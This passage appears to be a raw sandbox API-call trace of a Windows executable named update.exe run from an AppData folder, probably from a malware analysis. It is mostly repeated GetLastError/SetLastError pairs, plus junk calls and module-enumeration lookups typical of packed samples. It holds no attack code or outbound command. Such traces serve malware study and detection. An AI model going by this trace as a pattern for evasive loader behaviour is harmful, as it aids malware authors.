¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0109.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x16\xa3\x01\x38\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0109.639] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x48e318, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe")) returned 0x5b [0109.639] GetLastError () returned 0x0 [0109.639] SetLastError (dwErrCode=0x0) [0109.639] GetLastError () returned 0x0 [0109.639] SetLastError (dwErrCode=0x0) [0109.639] GetLastError () returned 0x0 [0109.639] SetLastError (dwErrCode=0x0) [0109.639] GetLastError () returned 0x0 [0109.639] SetLastError (dwErrCode=0x0) [0109.639] GetLastError () returned 0x0 [0109.640] SetLastError (dwErrCode=0x0) [0109.640] GetLastError () returned 0x0 [0109.640] SetLastError (dwErrCode=0x0) [0109.640] GetLastError () returned 0x0 [0109.640] SetLastError (dwErrCode=0x0) [0109.640] GetLastError () returned 0x0 [0109.640] SetLastError (dwErrCode=0x0) [0109.640] GetLastError () returned 0x0 [0109.640] SetLastError (dwErrCode=0x0) [0109.640] GetLastError () returned 0x0 [0109.640] SetLastError (dwErrCode=0x0) [0109.640] GetLastError () returned 0x0 [0109.640] SetLastError (dwErrCode=0x0) [0109.640] GetLastError () returned 0x0 [0109.640] SetLastError (dwErrCode=0x0) [0109.640] GetLastError () returned 0x0 [0109.640] SetLastError (dwErrCode=0x0) [0109.640] GetLastError () returned 0x0 [0109.640] SetLastError (dwErrCode=0x0) [0109.640] GetLastError () returned 0x0 [0109.640] SetLastError (dwErrCode=0x0) [0109.640] GetLastError () returned 0x0 [0109.640] SetLastError (dwErrCode=0x0) [0109.641] GetLastError () returned 0x0 [0109.641] SetLastError (dwErrCode=0x0) [0109.641] GetLastError () returned 0x0 [0109.641] SetLastError (dwErrCode=0x0) [0109.641] GetLastError () returned 0x0 [0109.641] SetLastError (dwErrCode=0x0) [0109.641] GetLastError () returned 0x0 [0109.641] SetLastError (dwErrCode=0x0) [0109.641] GetLastError () returned 0x0 [0109.641] SetLastError (dwErrCode=0x0) [0109.641] GetLastError () returned 0x0 [0109.641] SetLastError (dwErrCode=0x0) [0109.641] GetLastError () returned 0x0 [0109.641] SetLastError (dwErrCode=0x0) [0109.641] GetLastError () returned 0x0 [0109.641] SetLastError (dwErrCode=0x0) [0109.641] GetLastError () returned 0x0 [0109.641] SetLastError (dwErrCode=0x0) [0109.641] GetLastError () returned 0x0 [0109.641] SetLastError (dwErrCode=0x0) [0109.641] GetLastError () returned 0x0 [0109.641] SetLastError (dwErrCode=0x0) [0109.642] GetLastError () returned 0x0 [0109.642] SetLastError (dwErrCode=0x0) [0109.642] GetLastError () returned 0x0 [0109.642] SetLastError (dwErrCode=0x0) [0109.642] GetLastError () returned 0x0 [0109.642] SetLastError (dwErrCode=0x0) [0109.642] GetLastError () returned 0x0 [0109.642] SetLastError (dwErrCode=0x0) [0109.642] GetLastError () returned 0x0 [0109.642] SetLastError (dwErrCode=0x0) [0109.642] GetLastError () returned 0x0 [0109.642] SetLastError (dwErrCode=0x0) [0109.642] GetLastError () returned 0x0 [0109.642] SetLastError (dwErrCode=0x0) [0109.642] GetLastError () returned 0x0 [0109.642] SetLastError (dwErrCode=0x0) [0109.642] GetLastError () returned 0x0 [0109.642] SetLastError (dwErrCode=0x0) [0109.642] GetLastError () returned 0x0 [0109.642] SetLastError (dwErrCode=0x0) [0109.642] GetLastError () returned 0x0 [0109.642] SetLastError (dwErrCode=0x0) [0109.642] GetLastError () returned 0x0 [0109.643] SetLastError (dwErrCode=0x0) [0109.643] GetLastError () returned 0x0 [0109.643] SetLastError (dwErrCode=0x0) [0109.643] GetLastError () returned 0x0 [0109.643] SetLastError (dwErrCode=0x0) [0109.643] GetLastError () returned 0x0 [0109.643] SetLastError (dwErrCode=0x0) [0109.643] GetLastError () returned 0x0 [0109.643] SetLastError (dwErrCode=0x0) [0109.643] GetLastError () returned 0x0 [0109.643] SetLastError (dwErrCode=0x0) [0109.643] GetLastError () returned 0x0 [0109.643] SetLastError (dwErrCode=0x0) [0109.643] GetLastError () returned 0x0 [0109.643] SetLastError (dwErrCode=0x0) [0109.643] GetLastError () returned 0x0 [0109.643] SetLastError (dwErrCode=0x0) [0109.643] GetLastError () returned 0x0 [0109.643] SetLastError (dwErrCode=0x0) [0109.643] GetLastError () returned 0x0 [0109.643] SetLastError (dwErrCode=0x0) [0109.643] GetLastError () returned 0x0 [0109.644] SetLastError (dwErrCode=0x0) [0109.644] GetLastError () returned 0x0 [0109.644] SetLastError (dwErrCode=0x0) [0109.644] GetLastError () returned 0x0 [0109.644] SetLastError (dwErrCode=0x0) [0109.644] GetLastError () returned 0x0 [0109.644] SetLastError (dwErrCode=0x0) [0109.644] GetLastError () returned 0x0 [0109.644] SetLastError (dwErrCode=0x0) [0109.644] GetLastError () returned 0x0 [0109.644] SetLastError (dwErrCode=0x0) [0109.644] GetLastError () returned 0x0 [0109.644] SetLastError (dwErrCode=0x0) [0109.644] GetLastError () returned 0x0 [0109.644] SetLastError (dwErrCode=0x0) [0109.644] GetLastError () returned 0x0 [0109.644] SetLastError (dwErrCode=0x0) [0109.644] GetLastError () returned 0x0 [0109.644] SetLastError (dwErrCode=0x0) [0109.644] GetLastError () returned 0x0 [0109.644] SetLastError (dwErrCode=0x0) [0109.644] GetLastError () returned 0x0 [0109.645] SetLastError (dwErrCode=0x0) [0109.645] GetLastError () returned 0x0 [0109.645] SetLastError (dwErrCode=0x0) [0109.645] GetLastError () returned 0x0 [0109.645] SetLastError (dwErrCode=0x0) [0109.645] GetLastError () returned 0x0 [0109.645] SetLastError (dwErrCode=0x0) [0109.645] GetLastError () returned 0x0 [0109.645] SetLastError (dwErrCode=0x0) [0109.645] GetLastError () returned 0x0 [0109.645] SetLastError (dwErrCode=0x0) [0109.645] GetLastError () returned 0x0 [0109.645] SetLastError (dwErrCode=0x0) [0109.645] GetLastError () returned 0x0 [0109.645] SetLastError (dwErrCode=0x0) [0109.645] GetLastError () returned 0x0 [0109.645] SetLastError (dwErrCode=0x0) [0109.645] GetLastError () returned 0x0 [0109.645] SetLastError (dwErrCode=0x0) [0109.645] GetLastError () returned 0x0 [0109.645] SetLastError (dwErrCode=0x0) [0109.645] GetLastError () returned 0x0 [0109.645] SetLastError (dwErrCode=0x0) [0109.646] GetLastError () returned 0x0 [0109.646] SetLastError (dwErrCode=0x0) [0109.646] GetLastError () returned 0x0 [0109.646] SetLastError (dwErrCode=0x0) [0109.646] GetLastError () returned 0x0 [0109.646] SetLastError (dwErrCode=0x0) [0109.646] GetLastError () returned 0x0 [0109.646] SetLastError (dwErrCode=0x0) [0109.646] GetLastError () returned 0x0 [0109.646] SetLastError (dwErrCode=0x0) [0109.646] GetLastError () returned 0x0 [0109.646] SetLastError (dwErrCode=0x0) [0109.646] GetLastError () returned 0x0 [0109.646] SetLastError (dwErrCode=0x0) [0109.646] GetLastError () returned 0x0 [0109.646] SetLastError (dwErrCode=0x0) [0109.646] GetLastError () returned 0x0 [0109.647] SetLastError (dwErrCode=0x0) [0109.647] GetLastError () returned 0x0 [0109.647] SetLastError (dwErrCode=0x0) [0109.647] GetLastError () returned 0x0 [0109.647] SetLastError (dwErrCode=0x0) [0109.647] GetLastError () returned 0x0 [0109.647] SetLastError (dwErrCode=0x0) [0109.647] GetLastError () returned 0x0 [0109.647] SetLastError (dwErrCode=0x0) [0109.647] GetLastError () returned 0x0 [0109.647] SetLastError (dwErrCode=0x0) [0109.647] GetLastError () returned 0x0 [0109.647] SetLastError (dwErrCode=0x0) [0109.647] GetLastError () returned 0x0 [0109.647] SetLastError (dwErrCode=0x0) [0109.647] GetLastError () returned 0x0 [0109.647] SetLastError (dwErrCode=0x0) [0109.647] GetLastError () returned 0x0 [0109.647] SetLastError (dwErrCode=0x0) [0109.647] GetLastError () returned 0x0 [0109.647] SetLastError (dwErrCode=0x0) [0109.647] GetLastError () returned 0x0 [0109.648] SetLastError (dwErrCode=0x0) [0109.648] GetLastError () returned 0x0 [0109.648] SetLastError (dwErrCode=0x0) [0109.648] GetLastError () returned 0x0 [0109.648] SetLastError (dwErrCode=0x0) [0109.648] GetLastError () returned 0x0 [0109.648] SetLastError (dwErrCode=0x0) [0109.648] GetLastError () returned 0x0 [0109.648] SetLastError (dwErrCode=0x0) [0109.648] GetLastError () returned 0x0 [0109.648] SetLastError (dwErrCode=0x0) [0109.648] GetLastError () returned 0x0 [0109.648] SetLastError (dwErrCode=0x0) [0109.648] GetLastError () returned 0x0 [0109.648] SetLastError (dwErrCode=0x0) [0109.648] GetLastError () returned 0x0 [0109.648] SetLastError (dwErrCode=0x0) [0109.648] GetLastError () returned 0x0 [0109.648] SetLastError (dwErrCode=0x0) [0109.648] GetLastError () returned 0x0 [0109.648] SetLastError (dwErrCode=0x0) [0109.648] GetLastError () returned 0x0 [0109.648] SetLastError (dwErrCode=0x0) [0109.649] GetLastError () returned 0x0 [0109.649] SetLastError (dwErrCode=0x0) [0109.649] GetLastError () returned 0x0 [0109.649] SetLastError (dwErrCode=0x0) [0109.649] GetLastError () returned 0x0 [0109.649] SetLastError (dwErrCode=0x0) [0109.649] GetLastError () returned 0x0 [0109.649] SetLastError (dwErrCode=0x0) [0109.649] GetLastError () returned 0x0 [0109.649] SetLastError (dwErrCode=0x0) [0109.649] GetLastError () returned 0x0 [0109.649] SetLastError (dwErrCode=0x0) [0109.649] GetLastError () returned 0x0 [0109.649] SetLastError (dwErrCode=0x0) [0109.649] GetLastError () returned 0x0 [0109.649] SetLastError (dwErrCode=0x0) [0109.649] GetLastError () returned 0x0 [0109.649] SetLastError (dwErrCode=0x0) [0109.649] GetLastError () returned 0x0 [0109.649] SetLastError (dwErrCode=0x0) [0109.649] GetLastError () returned 0x0 [0109.649] SetLastError (dwErrCode=0x0) [0109.649] GetLastError () returned 0x0 [0109.650] SetLastError (dwErrCode=0x0) [0109.650] GetLastError () returned 0x0 [0109.650] SetLastError (dwErrCode=0x0) [0109.650] GetLastError () returned 0x0 [0109.650] SetLastError (dwErrCode=0x0) [0109.650] GetLastError () returned 0x0 [0109.650] SetLastError (dwErrCode=0x0) [0109.650] GetLastError () returned 0x0 [0109.650] SetLastError (dwErrCode=0x0) [0109.650] GetLastError () returned 0x0 [0109.650] SetLastError (dwErrCode=0x0) [0109.650] GetLastError () returned 0x0 [0109.650] SetLastError (dwErrCode=0x0) [0109.650] GetLastError () returned 0x0 [0109.650] SetLastError (dwErrCode=0x0) [0109.650] GetLastError () returned 0x0 [0109.650] SetLastError (dwErrCode=0x0) [0109.650] GetLastError () returned 0x0 [0109.650] SetLastError (dwErrCode=0x0) [0109.650] GetLastError () returned 0x0 [0109.650] SetLastError (dwErrCode=0x0) [0109.650] GetLastError () returned 0x0 [0109.651] SetLastError (dwErrCode=0x0) [0109.651] GetLastError () returned 0x0 [0109.651] SetLastError (dwErrCode=0x0) [0109.651] GetLastError () returned 0x0 [0109.651] SetLastError (dwErrCode=0x0) [0109.651] GetLastError () returned 0x0 [0109.651] SetLastError (dwErrCode=0x0) [0109.651] GetLastError () returned 0x0 [0109.651] SetLastError (dwErrCode=0x0) [0109.651] GetLastError () returned 0x0 [0109.651] SetLastError (dwErrCode=0x0) [0109.651] GetLastError () returned 0x0 [0109.651] SetLastError (dwErrCode=0x0) [0109.651] GetLastError () returned 0x0 [0109.651] SetLastError (dwErrCode=0x0) [0109.651] GetLastError () returned 0x0 [0109.651] SetLastError (dwErrCode=0x0) [0109.651] GetLastError () returned 0x0 [0109.651] SetLastError (dwErrCode=0x0) [0109.651] GetLastError () returned 0x0 [0109.651] SetLastError (dwErrCode=0x0) [0109.651] GetLastError () returned 0x0 [0109.652] SetLastError (dwErrCode=0x0) [0109.652] GetLastError () returned 0x0 [0109.652] SetLastError (dwErrCode=0x0) [0109.652] GetLastError () returned 0x0 [0109.652] SetLastError (dwErrCode=0x0) [0109.652] GetLastError () returned 0x0 [0109.652] SetLastError (dwErrCode=0x0) [0109.652] GetLastError () returned 0x0 [0109.652] SetLastError (dwErrCode=0x0) [0109.652] GetLastError () returned 0x0 [0109.652] SetLastError (dwErrCode=0x0) [0109.652] GetLastError () returned 0x0 [0109.652] SetLastError (dwErrCode=0x0) [0109.652] GetLastError () returned 0x0 [0109.652] SetLastError (dwErrCode=0x0) [0109.652] GetLastError () returned 0x0 [0109.652] SetLastError (dwErrCode=0x0) [0109.652] GetLastError () returned 0x0 [0109.652] SetLastError (dwErrCode=0x0) [0109.652] GetLastError () returned 0x0 [0109.652] SetLastError (dwErrCode=0x0) [0109.652] GetLastError () returned 0x0 [0109.653] SetLastError (dwErrCode=0x0) [0109.653] GetLastError () returned 0x0 [0109.653] SetLastError (dwErrCode=0x0) [0109.653] GetLastError () returned 0x0 [0109.653] SetLastError (dwErrCode=0x0) [0109.653] GetLastError () returned 0x0 [0109.653] SetLastError (dwErrCode=0x0) [0109.653] GetLastError () returned 0x0 [0109.653] SetLastError (dwErrCode=0x0) [0109.653] GetLastError () returned 0x0 [0109.653] SetLastError (dwErrCode=0x0) [0109.653] GetLastError () returned 0x0 [0109.653] SetLastError (dwErrCode=0x0) [0109.653] GetLastError () returned 0x0 [0109.653] SetLastError (dwErrCode=0x0) [0109.653] GetLastError () returned 0x0 [0109.653] SetLastError (dwErrCode=0x0) [0109.653] GetLastError () returned 0x0 [0109.653] SetLastError (dwErrCode=0x0) [0109.653] GetLastError () returned 0x0 [0109.653] SetLastError (dwErrCode=0x0) [0109.653] GetLastError () returned 0x0 [0109.653] SetLastError (dwErrCode=0x0) [0109.654] GetLastError () returned 0x0 [0109.654] SetLastError (dwErrCode=0x0) [0109.654] GetLastError () returned 0x0 [0109.654] SetLastError (dwErrCode=0x0) [0109.654] GetLastError () returned 0x0 [0109.654] SetLastError (dwErrCode=0x0) [0109.654] GetLastError () returned 0x0 [0109.654] SetLastError (dwErrCode=0x0) [0109.654] GetLastError () returned 0x0 [0109.654] SetLastError (dwErrCode=0x0) [0109.654] GetLastError () returned 0x0 [0109.654] SetLastError (dwErrCode=0x0) [0109.654] GetLastError () returned 0x0 [0109.654] SetLastError (dwErrCode=0x0) [0109.654] GetLastError () returned 0x0 [0109.654] SetLastError (dwErrCode=0x0) [0109.654] GetLastError () returned 0x0 [0109.654] SetLastError (dwErrCode=0x0) [0109.654] GetLastError () returned 0x0 [0109.654] SetLastError (dwErrCode=0x0) [0109.654] GetLastError () returned 0x0 [0109.654] SetLastError (dwErrCode=0x0) [0109.655] GetLastError () returned 0x0 [0109.655] SetLastError (dwErrCode=0x0) [0109.655] GetLastError () returned 0x0 [0109.655] SetLastError (dwErrCode=0x0) [0109.655] GetLastError () returned 0x0 [0109.655] SetLastError (dwErrCode=0x0) [0109.655] GetLastError () returned 0x0 [0109.655] SetLastError (dwErrCode=0x0) [0109.655] GetLastError () returned 0x0 [0109.655] SetLastError (dwErrCode=0x0) [0109.655] GetLastError () returned 0x0 [0109.655] SetLastError (dwErrCode=0x0) [0109.655] GetLastError () returned 0x0 [0109.655] SetLastError (dwErrCode=0x0) [0109.655] GetLastError () returned 0x0 [0109.655] SetLastError (dwErrCode=0x0) [0109.655] GetLastError () returned 0x0 [0109.655] SetLastError (dwErrCode=0x0) [0109.655] GetLastError () returned 0x0 [0109.655] SetLastError (dwErrCode=0x0) [0109.655] GetLastError () returned 0x0 [0109.655] SetLastError (dwErrCode=0x0) [0109.656] GetLastError () returned 0x0 [0109.656] SetLastError (dwErrCode=0x0) [0109.656] GetLastError () returned 0x0 [0109.656] SetLastError (dwErrCode=0x0) [0109.656] GetLastError () returned 0x0 [0109.656] SetLastError (dwErrCode=0x0) [0109.656] GetLastError () returned 0x0 [0109.656] SetLastError (dwErrCode=0x0) [0109.656] GetLastError () returned 0x0 [0109.656] SetLastError (dwErrCode=0x0) [0109.656] GetLastError () returned 0x0 [0109.656] SetLastError (dwErrCode=0x0) [0109.656] GetLastError () returned 0x0 [0109.656] SetLastError (dwErrCode=0x0) [0109.656] GetLastError () returned 0x0 [0109.656] SetLastError (dwErrCode=0x0) [0109.656] GetLastError () returned 0x0 [0109.656] SetLastError (dwErrCode=0x0) [0109.656] GetLastError () returned 0x0 [0109.656] SetLastError (dwErrCode=0x0) [0109.656] GetLastError () returned 0x0 [0109.656] SetLastError (dwErrCode=0x0) [0109.656] GetLastError () returned 0x0 [0109.657] SetLastError (dwErrCode=0x0) [0109.657] GetLastError () returned 0x0 [0109.657] SetLastError (dwErrCode=0x0) [0109.657] GetLastError () returned 0x0 [0109.657] SetLastError (dwErrCode=0x0) [0109.657] GetLastError () returned 0x0 [0109.657] SetLastError (dwErrCode=0x0) [0109.657] GetLastError () returned 0x0 [0109.657] SetLastError (dwErrCode=0x0) [0109.657] GetLastError () returned 0x0 [0109.657] SetLastError (dwErrCode=0x0) [0109.657] GetLastError () returned 0x0 [0109.657] SetLastError (dwErrCode=0x0) [0109.657] GetLastError () returned 0x0 [0109.657] SetLastError (dwErrCode=0x0) [0109.657] GetLastError () returned 0x0 [0109.657] SetLastError (dwErrCode=0x0) [0109.657] GetLastError () returned 0x0 [0109.657] SetLastError (dwErrCode=0x0) [0109.657] GetLastError () returned 0x0 [0109.657] SetLastError (dwErrCode=0x0) [0109.657] GetLastError () returned 0x0 [0109.658] SetLastError (dwErrCode=0x0) [0109.658] GetLastError () returned 0x0 [0109.658] SetLastError (dwErrCode=0x0) [0109.658] GetLastError () returned 0x0 [0109.658] SetLastError (dwErrCode=0x0) [0109.658] GetLastError () returned 0x0 [0109.658] SetLastError (dwErrCode=0x0) [0109.658] GetLastError () returned 0x0 [0109.658] SetLastError (dwErrCode=0x0) [0109.658] GetLastError () returned 0x0 [0109.658] SetLastError (dwErrCode=0x0) [0109.658] GetLastError () returned 0x0 [0109.658] SetLastError (dwErrCode=0x0) [0109.658] GetLastError () returned 0x0 [0109.658] SetLastError (dwErrCode=0x0) [0109.658] GetLastError () returned 0x0 [0109.658] SetLastError (dwErrCode=0x0) [0109.658] GetLastError () returned 0x0 [0109.658] SetLastError (dwErrCode=0x0) [0109.658] GetLastError () returned 0x0 [0109.658] SetLastError (dwErrCode=0x0) [0109.658] GetLastError () returned 0x0 [0109.659] SetLastError (dwErrCode=0x0) [0109.659] GetLastError () returned 0x0 [0109.659] SetLastError (dwErrCode=0x0) [0109.659] GetLastError () returned 0x0 [0109.659] SetLastError (dwErrCode=0x0) [0109.659] GetLastError () returned 0x0 [0109.659] SetLastError (dwErrCode=0x0) [0109.659] GetLastError () returned 0x0 [0109.659] SetLastError (dwErrCode=0x0) [0109.659] GetLastError () returned 0x0 [0109.659] SetLastError (dwErrCode=0x0) [0109.659] GetLastError () returned 0x0 [0109.659] SetLastError (dwErrCode=0x0) [0109.659] GetLastError () returned 0x0 [0109.659] SetLastError (dwErrCode=0x0) [0109.659] GetLastError () returned 0x0 [0109.659] SetLastError (dwErrCode=0x0) [0109.659] GetLastError () returned 0x0 [0109.659] SetLastError (dwErrCode=0x0) [0109.659] GetLastError () returned 0x0 [0109.659] SetLastError (dwErrCode=0x0) [0109.659] GetLastError () returned 0x0 [0109.660] SetLastError (dwErrCode=0x0) [0109.660] GetLastError () returned 0x0 [0109.660] SetLastError (dwErrCode=0x0) [0109.660] GetLastError () returned 0x0 [0109.660] SetLastError (dwErrCode=0x0) [0109.660] GetLastError () returned 0x0 [0109.660] SetLastError (dwErrCode=0x0) [0109.660] GetLastError () returned 0x0 [0109.660] SetLastError (dwErrCode=0x0) [0109.660] GetLastError () returned 0x0 [0109.660] SetLastError (dwErrCode=0x0) [0109.660] GetLastError () returned 0x0 [0109.660] SetLastError (dwErrCode=0x0) [0109.660] GetLastError () returned 0x0 [0109.660] SetLastError (dwErrCode=0x0) [0109.660] GetLastError () returned 0x0 [0109.662] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40972f) returned 0x0 [0109.663] GetLastError () returned 0x0 [0109.663] PeekMessageA (in: lpMsg=0x18fe98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18fe98) returned 0 [0109.665] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.665] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.665] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.665] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.666] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.666] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x773e0000 [0109.666] GetProcAddress (hModule=0x773e0000, lpProcName="CreateToolhelp32Snapshot") returned 0x7741735f [0109.666] GetProcAddress (hModule=0x773e0000, lpProcName="Module32First") returned 0x77475cd9 [0109.666] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.666] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.666] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.666] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.666] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.666] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.666] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.667] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.667] GetCommProperties (in: hFile=0x0, 